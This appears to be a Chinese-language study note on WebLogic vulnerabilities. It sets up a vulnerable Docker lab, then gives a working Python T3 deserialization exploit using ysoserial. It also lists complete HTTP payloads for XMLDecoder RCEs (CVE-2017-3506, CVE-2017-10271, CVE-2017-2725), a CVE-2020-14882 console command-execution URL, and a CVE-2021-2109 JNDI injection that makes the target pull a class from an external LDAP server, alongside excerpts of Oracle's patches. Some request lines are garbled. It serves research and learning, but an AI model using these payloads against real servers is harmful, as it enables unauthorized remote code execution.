安装
这里有一个很棒的工具,可以帮你装各种版本的weblogic和它的依赖环境
https://github.com/QAX-A-Team/WeblogicEnvironment
下载weblogic,https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
下载jdk,https://download.oracle.com/otn/java/jdk/8u181-b13/96a7b8442fe848ef90c96a2fad6ed6d1/jdk-8u181-linux-x64.tar.gz?AuthParam=1620890614_87213d268a2b427a496676a8fcee37b0
分别放在jdks和weblogics目录
构建镜像命令如下:
docker build --build-arg JDK_PKG=jdk-8u121-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk8u121 .
镜像构建完成后,执行以下命令运行:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk8u121 weblogic1036jdk8u121
运行后可访问http://localhost:7001/console/login/LoginForm.jsp
登录到Weblogic Server管理控制台,默认用户名为weblogic
,默认密码为qaxateam01
然后将一些weblogic的依赖Jar包给导出来进行远程调试。
docker cp weblogic1036jdk8u121:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk8u121:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk8u121:/u01/app/oracle/middleware/coherence_3.7/lib ./middleware/coherence_3.7/lib
创建一个libs文件夹,将jar包全部考进去
find ./ -name *.jar -exec mv {} ./libs/ \;
或者使用脚本:https://blog.csdn.net/qq_34101364/article/details/106061182
使用idea打开,然后配置环境,保持与刚才的jdk版本一致
右键点击libs文件夹,add as library
配置远程调试
调试
poc如下:
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.1.40"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command)
exp(host, port, payload)
idea中weblogic.rjvm.InboundMsgAbbrev#readObject里面设置断点,debug运行,然后使用上面poc发送payload
我这个版本是安全版本,不会触发漏洞。如果存在漏洞,执行完成后,查看docker容器会发现创建了相应文件。
docker exec weblogic1036jdk8u121 ls tmp/
漏洞
XMLDecoder 反序列化漏洞(CVE-2017-3506)
影响版本:10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0
发包:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 642
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
访问网址:http://localhost:7001/bea_wls_internal/test.jsp
补丁:http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html,在文件WorkContextXmlInputAdapter.java中,添加了validate()
public WorkContextXmlInputAdapter(InputStream is) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try
{ int next = 0;
next = is.read(); while (next != -1)
{
baos.write(next);
next = is.read();
}
} catch (Exception e)
{ throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{ public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (SAXException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (IOException e)
{ throw new IllegalStateException("Parser Exception", e);
}
}
XMLDecoder 反序列化漏洞(CVE-2017-10271)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
补丁:https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html,限制了object,new, method, void,array
等关键字段。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
XMLDecoder 反序列化漏洞(CVE-2017-2725)
这次的补丁内容我们文字化一下:
1、 禁用 object、new、method 标签
2、 如果使用 void 标签,只能有 index 属性
3、 如果使用 array 标签,且标签使用的是 class 属性,则它的值只能是 byte
这次的补丁可以说是比上一次严格的多,前两点虽然很大程度上限制了我们不能随意生成对象,调用方法,但好在还有一个 class 标签可以使用,最关键的还在于第三点,它限制了我们的参数不能再是 String 类型,而只能是 byte 类型,所以我们的思路只能从这一点出发,整理一下思路,我们要寻找的是这样一个类:
1、 他的成员变量是 byte 类型
2、 在该类进行实例化的时候就能造成命令执行。
于是便有了 oracle.toplink.internal.sessions.UnitOfWorkChangeSet 来满足我们的需求。
看一下构造函数,该类会对传给它的 byte 值进行反序列化,可以看到这是一个标准的二次反序列化,于是满足二次反序列的 payload 应该都可以用,如 AbstractPlatformTransactionManager、7u21 等等。
参考:https://www.freebuf.com/vuls/206374.html
payload
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
<void index="0">
<byte>-84</byte>
...
...
</array></void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
修复,禁用class标签
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
未授权命令执行漏洞(CVE-2020-14882)
影响版本
Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0
poc
http://localhost:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
远程代码执行(CVE-2021-2109 )
影响版本
WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0
java -jar /Users/rym/all/program/tools/JNDIExploitv1.11/JNDIExploit-v1.11.jar -i 7.249.32.125 -l 7389 -p 7080
poc
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://7.249.32;125:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: localhost:7001User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closecmd:idCookie: ADMINCONSOLESESSION=nM8lXW3nshhqyFuWs47qjIiQP0tUMtRYRHbBUFDXA8QIxRpdyNqr!964275826Upgrade-Insecure-Requests: 1
http://cn-sec.com/archives/261137.html
参考:
https://www.cnblogs.com/nice0e3/p/14201884.html
https://github.com/QAX-A-Team/WeblogicEnvironment
https://xz.aliyun.com/t/8701
https://www.freebuf.com/vuls/270372.html